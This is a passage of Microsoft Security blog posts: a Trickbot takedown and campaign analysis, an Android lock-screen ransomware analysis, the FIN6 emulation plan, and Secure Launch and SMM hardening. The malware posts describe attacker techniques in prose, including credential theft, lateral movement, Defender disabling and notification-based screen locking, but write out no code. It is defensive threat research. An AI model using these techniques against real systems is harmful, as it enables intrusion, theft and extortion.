  • Trusted Platform Module (TPM) 2.0
  • On Intel: TXT support in the BIOS
  • On AMD: SKINIT package must be integrated in the Windows system image
  • On Qualcomm: Implements DRTM TrustZone application and supports SMC memory protections.
  • Kernel DMA Protection (learn more)

Further configuration information and requirements can be found here.On Secured-core PCs, virtualization-based security is supported, and hardware-backed security features like System Guard Secure Launch with SMM Protections are enabled by default. Customers do not need to worry about  configuring the necessary functionality as Secured-core PCs come with the right configurations from OEMs, thereby providing the simplest path to the most secure Windows 10 systems. Learn more about the line of Secured-core PCs available today.

 

The post System Management Mode deep dive: How SMM isolation hardens the platform appeared first on Microsoft Security.

Trickbot disrupted

October 12th, 2020 No comments

As announced today, Microsoft took action against the Trickbot botnet, disrupting one of the world’s most persistent malware operations. Microsoft worked with telecommunications providers around the world to take down key Trickbot infrastructure. As a result, operators will no longer be able to use this infrastructure to distribute the Trickbot malware or activate deployed payloads like ransomware.

Microsoft actively tracks the threat landscape, monitoring threat actors, their campaigns, specific tactics, and evolution of malware. We share this intelligence with the community and use our research to continuously improve our products. Below, we will detail the evolution of the Trickbot malware, associated tactics, recent campaigns, and dive into the anatomy of a particular attack we observed.

Trickbot was first spotted in 2016 as a banking trojan that was created as a successor to Dyre and designed to steal banking credentials. Over the years, Trickbot’s operators were able to build a massive botnet, and the malware evolved into a modular malware available for malware-as-a-service. The Trickbot infrastructure was made available to cybercriminals who used the botnet as an entry point for human-operated campaigns, including attacks that steal credentials, exfiltrate data, and deploy additional payloads, most notably Ryuk ransomware, in target networks.

Trickbot was typically delivered via email campaigns that used current events or financial lures to entice users to open malicious file attachments or click links to websites hosting the malicious files. Trickbot campaigns usually used Excel or Word documents with malicious macro codes, but other types of attachments have been used. The campaigns were observed in a wide range of verticals and geolocation, with operators frequently reusing previously compromised email accounts from earlier campaigns to distribute emails without narrowing targets.

In addition to phishing emails, Trickbot was also deployed through lateral movement via Server Message Block (SMB) or as a second-stage payload of other malware like Emotet. Once Trickbot was launched, operators utilized it to install reconnaissance tools like PowerShell Empire, Metasploit, and Cobalt Strike. They used these tools to steal credentials and network configuration information, move laterally to high-value assets, or deliver additional malicious payloads.

Threat data from Microsoft 365 Defender, which correlates signals from endpoints, email and data, identities, and cloud apps to deliver comprehensive protection against threats, shows that Trickbot showed up in both large and small enterprises across the globe, helped no doubt by its modular nature and widespread misconception of it being a “commodity” banking trojan.

Anatomy of a Trickbot campaign

Trickbot is one of the most prolific malware operations in the world, churning out multiple campaigns in any given period. In one specific campaign, the Trickbot operators used several disparate compromised email accounts to send out hundreds of malicious emails to both enterprise and consumer accounts. Recipients were from a variety of industry verticals and geolocations and do not appear to have been specifically targeted. This campaign used a shipping and logistics theme, and had the following subject lines:

  • Shipment receipt
  • Delivery finished
  • Urgent receipt comment
  • Essential receipt reminder
  • Required declaration

The emails contained a malicious Excel attachment that, when opened, prompted the user to enable macros. If enabled, the macro wrote a malicious JScript Encoded (JSE) file to the disk, which is then executed via WScript. The JSE script connected to the affected organization’s domain controller and performed several LDAP queries to gather information about Active Directory, including the schema and user lists. The script then exfiltrated the information to attacker-controlled infrastructure. The script used the jscript.encode command to encode both server-side and client-side files in order to obfuscate content and evade detection.

Next, the JSE file performed several reconnaissance queries to obtain information about the device’s network adapter, antivirus products, domain role, and email. Once the exfiltration was completed, a dropped .bat file established a connection with two separate C2 servers: an IP address and a domain hosted on a separate IP address. Trickbot used both these C2 servers to evade network filtering configurations. The .bat file performed reconnaissance commands to find domain administrators on the network. It then dropped and launched the Greenshot screenshot tool and Cobalt Strike beacon on the device.

At this point, the operators had gained control of the affected device, only 8.5 hours after the user opened the malicious email attachment. The operators then started to copy the freeware tool ADFind.exe, which they used for discovery as well as for gathering domain configuration and organization information. They then archived data found during this discovery to a .7z file for later exfiltration.

The attackers ran several commands to obtain information about the domain controller and gather Kerberos tickets, conducted port scanning on SMB port 445, NetBIOS 139, and queried LDAP for multiple server devices. Using the information gathered, attackers pinged several potentially high-value devices. From there, they viewed the contents of specific text and log files, likely gleaned from their reconnaissance. Upon finding a device with an open port 445, they used runas /netonly (logon type 9, which is intentionally used to confuse analysis of logon events) for authentication and interactively executed commands on the device.

Once authenticated, the attackers viewed existing RDP files from prior unrelated sessions for RDP settings and credentials. From there, they dropped a Trickbot executable and stole credentials from the Windows Vault and Credentials Manager, allowing the attackers to evade many well-known security mechanisms that monitor processes accessing Local Security Authority Subsystem Service (LSASS) memory to dump the credentials. They used a .bat file to view multiple shares, ping additional servers, and read several text files. Finally, the attackers exfiltrated all gathered data.

The attackers persisted in the network via a copy of the malicious .jse file in the Startup folder. Using this .jse file, they have the capability to return to this network later and attempt to log on to other, more valuable devices and steal additional information or drop additional payloads. This highlights the importance of comprehensive response to “commodity malware” like Trickbot: the original banking trojan infection may be triaged and remediated, but without a full understanding of Trickbot as an entry vector to human adversaries, the real threat remains in the network.

Modular, multi-stage malware

Trickbot is a multi-stage malware typically composed of a wrapper, a loader, and a main malware module. The wrapper, which uses multiple templates that constantly change, is designed to evade detection by producing unique samples, even if the main malware code remains the same.

When the wrapper process runs, it runs the loader fully in its memory. The loader has a highly modular design. It decrypts each function at runtime before running it, and then encrypts it back. Likewise, all human-readable strings are decrypted and all APIs are resolved at runtime. In some scenarios, Trickbot uses UAC bypasses to elevate the privileges of its processes. On 64-bit systems, Trickbot uses the “Heaven’s Gate” technique to switch 32-bit code to 64-bit, and has an additional stage where a 64-bit loader injects the main module into the suspended process.

The loader runs the main malware module directly in memory. After creating scheduled tasks for persistence, the main malware module decrypts a configuration file, which contains the information it needs for its next steps:

  • Establish HTTPS communication with command and control (C2) server
  • Download modules from the C2 server
  • Monitor the status of the downloaded modules
  • Synchronize communication between the main module and the downloaded modules

The modules are likewise run in memory via injection into the suspended process. Over the years, Trickbot has used a wide range of modules for various malicious activities. These include the following:

 

Modules Purpose
pwgrab Gathers credentials, autofill data, history and so on from browsers
networkDll Gathers network and system information
importDll Gathers browser data
injectDll Main banker module; uses static and dynamic web browser injection and data theft
tabDll Propagates Trickbot via EternalRomance Exploit
Propagates Trickbot via SMB EternalBlue Exploit
shareDll Propagates Trickbot via Windows network shares
vncDll, BCTestDll Remote control/Virtual Network Computing module; provides backdoor for further module downloads
rdpscanDll Launches brute force attacks against selected Windows systems running Remote Desktop Protocol (RDP) connection exposed to the Internet
Systeminfo Gathers system information
mailsearcher Searches all files on disk and compares their extensions to a predefined list to harvest emails addresses
outlookDll Gather Outlook credentials
psfin Gathers point of sale (POS) software credentials
squlDll Gathers email addresses stored in SQL servers
aDll Runs various commands on a Windows domain controller to steal Active Directory credentials

Trickbot sends information like domain names and IP ranges of compromised networks back to operators, who then select some of these networks for additional exploitation and reconnaissance activities. On selected networks, Trickbot operators installed additional tools like Cobalt Strike, and switch to a hands-on-keyboard attacks. Once the operators gain foothold on a network, they used tools like Mimikatz and LaZagne to steal additional credentials and tools like BloodHound and ADFind to perform reconnaissance actions. Apart from using the stolen credentials and collected data to further the attack, operators also exfiltrated data. They then leave multiple persistence points on the network to enable the eventual delivery of other payloads like Ryuk ransomware.

While much has been made of the Trickbot’s supposed antivirus evasion capabilities, it’s a simple PowerShell command being run to turn off Microsoft Defender Antivirus, but it can perform this action only if the user has administrative rights.

Recent prominent Trickbot campaigns

In June 2020, we tracked multiple Trickbot campaigns. As is typical with Trickbot, some of the email campaigns took advantage of current events as lures to entice users to click on malicious attachments. These lures include Black Lives Matter and COVID-19. Earlier in the year, we reported that Trickbot was the most prolific malware operation using COVID-19-themed lures. Many other simultaneous campaigns used more generic lures, such as shipping and logistics, invoicing and payments, customer complaints, and various financial lures.

The email body was often simple but maintained consistency with the lure used in the subject line. The emails used a wide range of attachment types, including:

  • Word macro attachments
  • Excel VBA macro attachments
  • Excel 4.0 macro attachments
  • Java Network Launch Protocol (.jnlp) attachments

Some campaigns do away with the attachments and instead use malicious links to websites that host malicious files.

The sender infrastructure for all these emails varied as well. In most campaigns, operators used compromised legitimate email accounts and compromised marketing platforms to distribute the malicious emails. However, in one instance, the operators registered several domains using less popular top-level domains (TLDs) such as “.monster” and “.us” to create their own mail server and send malicious emails from attacker-defined email addresses. At least one of these campaigns used attacker-owned email sender infrastructure that was later used to deliver Dridex malware in a separate campaign. The Dridex malware is known to be associated with the CHIMBORAZO (also known as TA505) crime group. Additionally, CHIMBORAZO ran simultaneous campaigns that delivered Trickbot.

The following graphic illustrates the various campaigns, tactics, and techniques used by the operators. The complexity of these simultaneous campaigns and techniques indicates that this is a coordinated and professional effort conducted by a sophisticated activity group.

Extended detection and response for the full range of threats

The action against Trickbot is one of the ways in which Microsoft provide real-world protection against threats. This action will result in protection for a wide range of organizations, including financial services institutions, government, healthcare, and other verticals from malware and human-operated campaigns delivered via the Trickbot infrastructure.

In the recently released Microsoft Digital Defense Report, we called out that cybercriminals of all skill sets take advantage of the perception that commodity threats are less impactful to businesses. Trickbot is proof that this assumption is obsolete, and organizations need to treat and address Trickbot and other malware infections as the broadly damaging threats that they are.

To help protect customers from the full range of threats, from common malware to highly modular, multi-stage threats like Trickbot, as well as nation-state level attacks, Microsoft 365 Defender delivers coordinated protection for identities, endpoints, cloud apps, email and documents. Microsoft Defender for Office 365 detects malicious attachments and links in email campaigns. Microsoft Defender for Endpoint detects and blocks the Trickbot malware and all related components, as well as malicious activities on endpoints. Microsoft Defender for Identity identifies and detects suspicious user activities and compromised identities.

This breadth of cross-domain visibility allows Microsoft 365 Defender to correlate signals and comprehensively detect and resolve attack chains. Security operations teams can then use the rich set of tools in Microsoft 365 Defender to further hunt for threats and gain insights for hardening networks from compromise.

 

 

Microsoft 365 Defender Threat Intelligence Team

Microsoft 365 Defender Research Team

Digital Crimes Unit (DCU)

Detection and Response Team (DART)

 

The post Trickbot disrupted appeared first on Microsoft Security.

Sophisticated new Android malware marks the latest evolution of mobile ransomware

October 8th, 2020 No comments

Attackers are persistent and motivated to continuously evolve – and no platform is immune. That is why Microsoft has been working to extend its industry-leading endpoint protection capabilities beyond Windows. The addition of mobile threat defense into these capabilities means that Microsoft Defender for Endpoint (previously Microsoft Defender Advanced Threat Protection) now delivers protection on all major platforms.

Microsoft’s mobile threat defense capabilities further enrich the visibility that organizations have on threats in their networks, as well as provide more tools to detect and respond to threats across domains and across platforms. Like all of Microsoft’s security solutions, these new capabilities are likewise backed by a global network of threat researchers and security experts whose deep understanding of the threat landscape guide the continuous innovation of security features and ensure that customers are protected from ever-evolving threats.

For example, we found a piece of a particularly sophisticated Android ransomware with novel techniques and behavior, exemplifying the rapid evolution of mobile threats that we have also observed on other platforms. The mobile ransomware is the latest variant of a ransomware family that’s been in the wild for a while but has been evolving non-stop. This ransomware family is known for being hosted on arbitrary websites and circulated on online forums using various social engineering lures, including masquerading as popular apps, cracked games, or video players. The new variant caught our attention because it’s an advanced malware with unmistakable malicious characteristic and behavior and yet manages to evade many available protections, registering a low detection rate against security solutions.

As with most Android ransomware, this new threat doesn’t actually block access to files by encrypting them. Instead, it blocks access to devices by displaying a screen that appears over every other window, such that the user can’t do anything else. The said screen is the ransom note, which contains threats and instructions to pay the ransom.

Screenshot of mobile ransom note in Russian language

Figure 1. Sample ransom note used by older ransomware variants

What’s innovative about this ransomware is how it displays its ransom note. In this blog, we’ll detail the innovative ways in which this ransomware surfaces its ransom note using Android features we haven’t seen leveraged by malware before, as well as incorporating an open-source machine learning module designed for context-aware cropping of its ransom note.

New scheme, same goal

In the past, Android ransomware used a special permission called “SYSTEM_ALERT_WINDOW” to display their ransom note. Apps that have this permission can draw a window that belongs to the system group and can’t be dismissed. No matter what button is pressed, the window stays on top of all other windows. The notification was intended to be used for system alerts or errors, but Android threats misused it to force the attacker-controlled UI to fully occupy the screen, blocking access to the device. Attackers create this scenario to persuade users to pay the ransom so they can gain back access to the device.

To catch these threats, security solutions used heuristics that focused on detecting this behavior. Google later implemented platform-level changes that practically eliminated this attack surface. These changes include:

  1. Removing the SYSTEM_ALERT_WINDOW error and alert window types, and introducing a few other types as replacement
  2. Elevating the permission status of SYSTEM_ALERT_WINDOW to special permission by putting it into the “above dangerous” category, which means that users have to go through many screens to approve apps that ask for permission, instead of just one click
  3. Introducing an overlay kill switch on Android 8.0 and later that users can activate anytime to deactivate a system alert window

To adapt, Android malware evolved to misusing other features, but these aren’t as effective. For example, some strains of ransomware abuse accessibility features, a method that could easily alarm users because accessibility is a special permission that requires users to go through several screens and accept a warning that the app will be able to monitor activity via accessibility services. Other ransomware families use infinite loops of drawing non-system windows, but in between drawing and redrawing, it’s possible for users to go to settings and uninstall the offending app.

The new Android ransomware variant overcomes these barriers by evolving further than any Android malware we’ve seen before. To surface its ransom note, it uses a series of techniques that take advantage of the following components on Android:

  1. The “call” notification, among several categories of notifications that Android supports, which requires immediate user attention.
  2. The “onUserLeaveHint()” callback method of the Android Activity (i.e., the typical GUI screen the user sees) is called as part of the activity lifecycle when the activity is about to go into the background as a result of user choice, for example, when the user presses the Home key.

The malware connects the dots and uses these two components to create a special type of notification that triggers the ransom screen via the callback.

Screenshot of malware code

Figure 2. The notification with full intent and set as “call’ category

As the code snippet shows, the malware creates a notification builder and then does the following:

  1. setCategory(“call”) – This means that the notification is built as a very important notification that needs special privilege.
  2. setFullScreenIntent() – This API wires the notification to a GUI so that it pops up when the user taps on it. At this stage, half the job is done for the malware. However, the malware wouldn’t want to depend on user interaction to trigger the ransomware screen, so, it adds another functionality of Android callback:

Figure 3. The malware overriding onUserLeaveHint

As the code snippet shows, the malware overrides the onUserLeaveHint() callback function of Activity class. The function onUserLeaveHint() is called whenever the malware screen is pushed to background, causing the in-call Activity to be automatically brought to the foreground. Recall that the malware hooked the RansomActivity intent with the notification that was created as a “call” type notification. This creates a chain of events that triggers the automatic pop-up of the ransomware screen without doing infinite redraw or posing as system window.

Machine learning module indicates continuous evolution

As mentioned, this ransomware is the latest variant of a malware family that has undergone several stages of evolution. The knowledge graph below shows the various techniques this ransomware family has been seen using, including abusing the system alert window, abusing accessibility features, and, more recently, abusing notification services.

Knowledge graph showing techniques used by the Android rasomware family

Figure 4. Knowledge graph of techniques used by ransomware family

This ransomware family’s long history tells us that its evolution is far from over. We expect it to churn out new variants with even more sophisticated techniques. In fact, recent variants contain code forked from an open-source machine learning module used by developers to automatically resize and crop images based on screen size, a valuable function given the variety of Android devices.

The frozen TinyML model is useful for making sure images fit the screen without distortion. In the case of this ransomware, using the model would ensure that its ransom note—typically fake police notice or explicit images supposedly found on the device—would appear less contrived and more believable, increasing the chances of the user paying for the ransom.

The library that uses tinyML is not yet wired to the malware’s functionalities, but its presence in the malware code indicates the intention to do so in future variants. We will continue to monitor this ransomware family to ensure customers are protected and to share our findings and insights to the community for broad protection against these evolving mobile threats.

Protecting organizations from threats across domains and platforms

Mobile threats continue to rapidly evolve, with attackers continuously attempting to sidestep technological barriers and creatively find ways to accomplish their goal, whether financial gain or finding an entry point to broader network compromise.

This new mobile ransomware variant is an important discovery because the malware exhibits behaviors that have not been seen before and could open doors for other malware to follow. It reinforces the need for comprehensive defense powered by broad visibility into attack surfaces as well as domain experts who track the threat landscape and uncover notable threats that might be hiding amidst massive threat data and signals.

Microsoft Defender for Endpoint on Android, now generally available, extends Microsoft’s industry-leading endpoint protection to Android. It detects this ransomware (AndroidOS/MalLocker.B), as well as other malicious apps and malicious apps and files using cloud-based protection powered by deep learning and heuristics, in addition to content-based detection. It also protects users and organizations from other mobile threats, such as mobile phishing, unsafe network connections, and unauthorized access to sensitive data. Learn more about our mobile threat defense capabilities in Microsoft Defender for Endpoint on Android.

Malware, phishing, and other threats detected by Microsoft Defender for Endpoint are reported to the Microsoft Defender Security Center, allowing SecOps to investigate mobile threats along with endpoint signals from Windows and other platforms using Microsoft Defender for Endpoint’s rich set of tools for detection, investigation, and response.

Threat data from endpoints are combined with signals from email and data, identities, and apps in Microsoft 365 Defender (previously Microsoft Threat Protection), which orchestrates detection, prevention, investigation, and response across domains, providing coordinated defense. Microsoft Defender for Endpoint on Android further enriches organizations’ visibility into malicious activity, empowering them to comprehensively prevent, detect, and respond to against attack sprawl and cross-domain incidents.

Technical analysis

Obfuscation

On top of recreating ransomware behavior in ways we haven’t seen before, the Android malware variant uses a new obfuscation technique unique to the Android platform. One of the tell-tale signs of an obfuscated malware is the absence of code that defines the classes declared in the manifest file.

Malware code showing manifest file

Figure 5. Manifest file

The classes.dex has implementation for only two classes:

  1. The main application class gCHotRrgEruDv, which is involved when the application opens
  2. A helper class that has definition for custom encryption and decryption

This means that there’s no code corresponding to the services declared in the manifest file: Main Activity, Broadcast Receivers, and Background. How does the malware work without code for these key components? As is characteristic for obfuscated threats, the malware has encrypted binary code stored in the Assets folder:

Screenshot of Assets folder with encrypted executable code

Figure 6. Encrypted executable code in Assets folder

When the malware runs for the first time, the static block of the main class is run. The code is heavily obfuscated and made unreadable through name mangling and use of meaningless variable names:

Figure 7. Static block

Decryption with a twist

The malware uses an interesting decryption routine: the string values passed to the decryption function do not correspond to the decrypted value, they correspond to junk code to simply hinder analysis.

On Android, an Intent is a software mechanism that allows users to coordinate the functions of different Activities to achieve a task. It’s a messaging object that can be used to request an action from another app component.

The Intent object carries a string value as “action” parameter. The malware creates an Intent inside the decryption function using the string value passed as the name for the Intent. It then decrypts a hardcoded encrypted value and sets the “action” parameter of the Intent using the setAction API. Once this Intent object is generated with the action value pointing to the decrypted content, the decryption function returns the Intent object to the callee. The callee then invokes the getAction method to get the decrypted content.

Figure 8. Decryption function using the Intent object to pass the decrypted value

Payload deployment

Once the static block execution is complete, the Android Lifecycle callback transfers the control to the OnCreate method of the main class.

Malware code showing onCreate method

Figure 9. onCreate method of the main class decrypting the payload

Next, the malware-defined function decryptAssetToDex (a meaningful name we assigned during analysis) receives the string “CuffGmrQRT” as the first argument, which is the name of the encrypted file stored in the Assets folder.

Malware code showing decryption of assets

Figure 10. Decrypting the assets

After being decrypted, the asset turns into the .dex file. This is a notable behavior that is characteristic of this ransomware family.

Comparison of code of Asset file before and after decryption

Figure 11. Asset file before and after decryption

Once the encrypted executable is decrypted and dropped in the storage, the malware has the definitions for all the components it declared in the manifest file. It then starts the final detonator function to load the dropped .dex file into memory and triggers the main payload.

Malware code showing loading of decrypted dex file

Figure 12. Loading the decrypted .dex file into memory and triggering the main payload

Main payload

When the main payload is loaded into memory, the initial detonator hands over the control to the main payload by invoking the method XoqF (which we renamed to triggerInfection during analysis) from the gvmthHtyN class (renamed to PayloadEntry).

Malware code showing handover from initial module to main payload

Figure 13. Handover from initial module to the main payload

As mentioned, the initial handover component called triggerInfection with an instance of appObj and a method that returns the value for the variable config.

Malware code showing definition of populateConfigMap

Figure 14. Definition of populateConfigMap, which loads the map with values

Correlating the last two steps, one can observe that the malware payload receives the configuration for the following properties:

  1. number – The default number to be send to the server (in case the number is not available from the device)
  2. api – The API key
  3. url – The URL to be used in WebView to display on the ransom note

The malware saves this configuration to the shared preferences of the app data and then it sets up all the Broadcast Receivers. This action registers code components to get notified when certain system events happen. This is done in the function initComponents.

Malware code showing initializing broadcast receiver

Figure 15. Initializing the BroadcastReceiver against system events

From this point on, the malware execution is driven by callback functions that are triggered on system events like connectivity change, unlocking the phone, elapsed time interval, and others.

 

Dinesh Venkatesan

Microsoft Defender Research

 

The post Sophisticated new Android malware marks the latest evolution of mobile ransomware appeared first on Microsoft Security.

Industry-wide partnership on threat-informed defense improves security for all

September 16th, 2020 No comments

MITRE Engenuity’s Center for Threat-Informed Defense has published a library of detailed plans for emulating the threat actor FIN6 (which Microsoft tracks as TAAL), a collection of threat intelligence, MITRE ATT&CK data, supporting scripts, and utilities designed to enable red teams to emulate the adversary and evaluate defensive capabilities in their environments.

Microsoft, a founding member of MITRE Engenuity’s Center for Threat-Informed Defense, is proud to be part of this industry-wide collaborative project. The Center for Threat-Informed Defense aims to bring together security researchers from across the globe to advance state-of-the-art approaches in cybersecurity.

Through projects like publishing the FIN6 adversary emulation plan, the center supports applied research and advanced development to improve cyber defense at scale. And because the center builds on MITRE ATT&CK, the emulation plan aligns with a framework that security researchers and analysts are already familiar with and use in security operations.

FIN6: Evolving e-crime group

FIN6 is a sophisticated e-crime group, suspected to be of Russian origins, that has been operating since 2015. The financially motivated group is known to target point-of-sale or (POS) systems in the retail and hospitality industries using the FrameworkPOS and GratefulPOS malware strains. Recently, the group has expanded their activities to “Magecart” campaigns, in which they insert malicious scripts into online shopping websites to steal credit card data and other sensitive info.

The group has also been observed utilizing existing Trickbot infections to gain access to target networks, move laterally through RDP brute force, and deploy Ryuk and LockerGoga ransomware payloads in specific locations. In addition, FIN6 has been seen leveraging the malware framework called “Anchor”, which has also been tied to Trickbot activity since 2018, lending credence to the alleged operational link between the two groups.

These campaigns point to the group continuously evolving and broadening its objectives, attack tooling, and partnerships with other e-crime groups to further its financially motivated goals.

Critical, practical emulation plan

The FIN6 emulation plan published by the Center for Threat-Informed Defense assembles threat actor information, individual tactics, technique, and procedures (TTPs), and emulation plans. It collects threat intelligence that today exist in multiple places into a single resource, saving red teams time and effort in scouring, reading, and digesting information, while also delivering essential emulation information.

Red teams looking to emulate the adversary, no matter their skill level, will find the plan beneficial. In addition to providing an overview of the threat actor, it lists required, publicly available tooling that will help ensure that prerequisites are met for a successful operation.

The emulation plans are organized in phases, which are useful for structuring red team operations to emulate FIN6’s goals and procedures. Tactics, techniques, and procedures (TTPs) implemented in CALDERA and Atomic Red Team style provide signals for all relevant MITRE ATT&CK techniques. This assembly of information takes red teams from minimal knowledge to working emulation in short order.

More advanced teams will likewise find this plan valuable. Even when teams are not limited to publicly available tools and command-line emulation, the TTP emulation plan can save time and be used as basis for implementing more complex and nuanced emulation, or for absorbing these capabilities into custom tooling.

Ultimately, research like the FIN6 emulation plan provides critical, realistic emulation signals to blue teams faster. Because emulation plans that are usable off-the-shelf lowers the bar to receiving threat emulation signals, by and large, it helps improve defense capabilities.

Microsoft Threat Protection coverage

The FIN6 emulation plan covers a total of 16 MITRE ATT&CK techniques, many of which are very tricky to detect because they blend into normal network activity, but all 16 are visible to Microsoft Threat Protection. Microsoft Threat Protection, which delivers coordinated cross-domain defense by consolidating threat data across endpoint, email and data, identities, and apps, has demonstrated its industry-leading detection capabilities in the latest MITRE ATT&CK evaluation.

For seven of the techniques utilized by FIN6, Microsoft Threat Protection automatically raises real-time alerts, notifying security operations teams about the presence of the threat actor and its activities in a network. The rest of the FIN6 techniques are recorded by Microsoft Threat Protection as telemetry, which are presented as details within process trees in alerts.

In addition, even with the evasive nature of these techniques, Microsoft Threat Protection stops processes related to three of the techniques on endpoints. It does this through next-generation protection capabilities, as well as the new endpoint and detection response (EDR) in block mode. EDR in block mode transforms EDR detections into blocking and containment of malicious behaviors and artifacts.

All related alerts and signals, as well as other important information like affected entities and remediation status, are consolidated into a single incident view. This correlation of threat data allows security operations teams to determine the full scope of the threat on their environments, prioritize alerts based on severity level, and swiftly remediate affected assets.

As part of Microsoft’s own learning from the emulation plan and the partnership with the Center for Threat-Informed Defense, our researchers are looking into further improving coverage by looking into transforming telemetry into specific detections that raise alerts, where applicable.

Industry collaborations yields stronger protection for ecosystem

Microsoft Threat Protection’s 100% coverage of the MITRE ATT&CK techniques covered by the FIN6 emulation plan demonstrates Microsoft’s broad visibility into threats, especially sophisticated and persistent ones like FIN6 attacks. By partnering with the MITRE Engenuity’s Center for Threat-Informed Defense, we can share our insights and experiences to other members of the Center and to the industry in general, while also learning from other experts.

Microsoft has always been a champion of industry-wide partnerships, because these result in better security for the whole ecosystem. To this end, we will continue to work with MITRE Engenuity for projects like this. We will also continue partnering with MITRE Corporation to build transparent and collaborative testing that benefits all.

 

Dana Baril, Ivan Macalintal, Kate Farris

Microsoft Threat Protection Research Team

The post Industry-wide partnership on threat-informed defense improves security for all appeared first on Microsoft Security.

Categories: cybersecurity Tags:

Force firmware code to be measured and attested by Secure Launch on Windows 10

September 1st, 2020 No comments

You cannot build something great on a weak foundation – and security is no exception.

Windows is filled with important security features like Hypervisor-protected code integrity (HVCI) and Windows Defender Credential Guard that protect users from advanced hardware and firmware attacks. For these features to properly do their jobs, the platform’s firmware and hardware must be trustworthy and healthy, otherwise the chain of trust that verifies the integrity of the system by validating that every component in the boot process is cryptographically signed by a trusted source could be tampered with maliciously, thereby compromising the security of operating system features that use the firmware and hardware as a fundamental building block.

Without these detection and prevention capabilities, the system won’t be able to detect and block malicious software that runs before the operating system initialized, or during the boot process itself. The malicious software could then grant itself elevated privileges, expand foothold, and persist on the system undetected. In the case of Secured-core PCs, Secure Launch, which leverages the principle of Dynamic Root of Trust for Measurement (DRTM), is a technology that is built-in and enabled by default to greatly increase protection from these sophisticated boot attacks. By leveraging built-in silicon instructions or firmware enclaves, Secure Launch allows a system to freely boot untrusted code initially, but shortly after launches the system into a trusted state by taking control of the CPUs and forcing any untrusted code down a well-known and measured code path to verify it isn’t malicious. This removes early Unified Extensible Firmware Interface (UEFI) code from the trust boundary, meaning systems are better protected against bugs or exploits in UEFI after the Secure Launch, combating an entire class of threat.

For some time, Windows devices have been able to leverage a hardware-based root of trust to help ensure unauthorized firmware or software does not take root before the Windows bootloader launches. This root of trust comes from a UEFI feature called Secure Boot. Secure Boot leverages a Trusted Platform Module (TPM) to take cryptographic measurements of each piece of firmware or software during the early boot process. This technique of measuring these static early boot UEFI components is called the Static Root of Trust for Measurement (SRTM).

As there are thousands of PC vendors that produce numerous models with different UEFI BIOS versions, there becomes an incredibly large number of SRTM measurements at startup. There are two techniques that can be used to establish trust here —either maintain a list of known ‘bad’ SRTM measurements (a block list), or a list of known ‘good’ SRTM measurements (an allow list). Each option has a drawback:

  1. A list of known ‘bad’ SRTM measurements allows a hacker to change just 1 bit in a component to create an entirely new SRTM hash that needs to be listed. This means that the SRTM flow is inherently brittle – a minor change can invalidate the chain of trust.
  2. A list of known ‘good’ SRTM measurements requires each new BIOS/PC combination measurement to be carefully added, which can be slow. In addition, a bug fix for UEFI code can take a long time to design, build, retest, validate, and redeploy.

As Windows relies on the Hypervisor being secure, trusted, and unmodified to implement numerous security technologies, it is important to protect it from any potential threats that can arise from these issues. System Guard Secure Launch was designed and introduced in Windows 10 version 1809 to address these drawbacks.

Leveraging a Dynamic Root of Trust to measure code integrity

Secure Launch is the first line of defense against exploits and vulnerabilities that try to take advantage of early-boot flaws or bugs. Firmware enclaves and built-in silicon instructions allow systems to boot into a trusted state by forcing untrusted, exploitable code down a specific and measured path before launching into a trusted state.

To achieve a security boundary between the UEFI/ firmware and later OS code, the Windows boot environment is divided into two phases. The first phase runs with UEFI and leverages boot services that are considered untrusted for Secure Launch, and the second phase is the trusted portion that runs without firmware services after the DRTM event. This trusted phase is referred to as the Trusted Computing Base (TCB) launch phase. The Trusted Computing Base includes the minimally scoped firmware enclave and hardware necessary to perform a DRTM event.

The phase with firmware support utilizes the traditional boot binaries Boot Manager and Winload. In this model, Winload no longer prepares the OS and its data structures but acts to prepare enough data in memory for the TCB phase of the boot environment to be able to operate without firmware. This includes loading all unexpanded binaries needed for the OS in memory, as well as staging other firmware or disk sourced information. All data, binaries, and associated storage structures are validated by the TCB before use.

The TCB phase of the boot environment is started by the new TCB Launch application. This binary is measured into the DRTM TPM registers and starts the chain of trust for the launched OS. TCB Launch ensures the security of the system, and then prepares the OS for execution by loading and validating all binaries as well as building data structures for OS launch.

Although all OS data is sourced from disk by Winload and firmware, the TCB phase validates all signatures and code integrity before use. TCB Launch itself is not directly code integrity checked by this phase, but the root of trust measurement provided by the DRTM event is used to attest the authenticity of the binary. For the TCB phase of boot to continue to be secure, the following state must be verified by the DRTM event and TCB Launch:

  1. Continuous protection against Direct Memory Access (DMA) of TCB Launch and OS memory
  2. Hardware description of RAM is accurate
  3. Security critical hardware description must be validated, such as IOMMU structures
  4. Memory will be cleared upon an unexpected reset from the TCB

After TCB Launch, control of the DRTM environment and associated controls are transferred to the Hypervisor. The Hypervisor is then responsible for managing DMA protections, memory clearing protections, and other DRTM- related state control.

DRTM allows the platform to mitigate real-world attacks that attempt to modify the hypervisor or perform other malicious actions during early boot/hibernate. For example, an S3 boot script exploit that attempts to tamper the hypervisor across suspend/resume would be mitigated by DRTM.

Another common tool used to perform DMA style read/writes over PCIe, frequently leveraged by attackers, is PCILeech. While Kernel DMA protections help ensure that malicious, unauthorised peripherals cannot access memory, even if an attacker does gain a foothold in early-boot, pre-DRTM firmware, the DRTM event insulates the Windows environment from these exploits.

System Management Mode isolation protections can help enforce conditional access

Another dimension of protection that comes with Secured-core PCs is System Management Mode (SMM) protection. System Management Mode (SMM) is a special-purpose CPU mode in x86 microcontrollers that handles power management, hardware configuration, thermal monitoring, and anything else the manufacturer deems useful. If an attacker can exploit SMM, they could attempt to bypass some of the checks in Secure Launch or exploit the runtime operating system. By leveraging new hardware-based supervision and attestation, Secured-core PCs can measure and detect when SMM is trying to access a platform resource (like memory, IO, or certain CPU registers) which violates our policy. This adds an additional layer of hardening to the Secure Launch event and an additional layer of hardening to Secured-core PCs.

SMM execution takes place in the form of System Management Interrupt (SMI) handlers. During the DRTM event, SMIs will be suspended to allow the DRTM event and beginning of the TCB to execute without SMM interference. A system’s SMM isolation is based on an access policy provided by the platform firmware stating what SMM does or does not require access to. This policy will then be enforced on SMM by the silicon vendor specific mechanism, and a copy of this policy will be provided to the boot loader for evaluation. TCB Launch will check that the provided isolation policy being enforced on the system meets the minimum Windows requirements. If the policy is not compliant, say for being able to access OS memory, then TCB Launch may destroy DRTM state and clear OS secrets. TCB Launch will resume SMIs after it has completed its evaluation and has taken any necessary precautions.

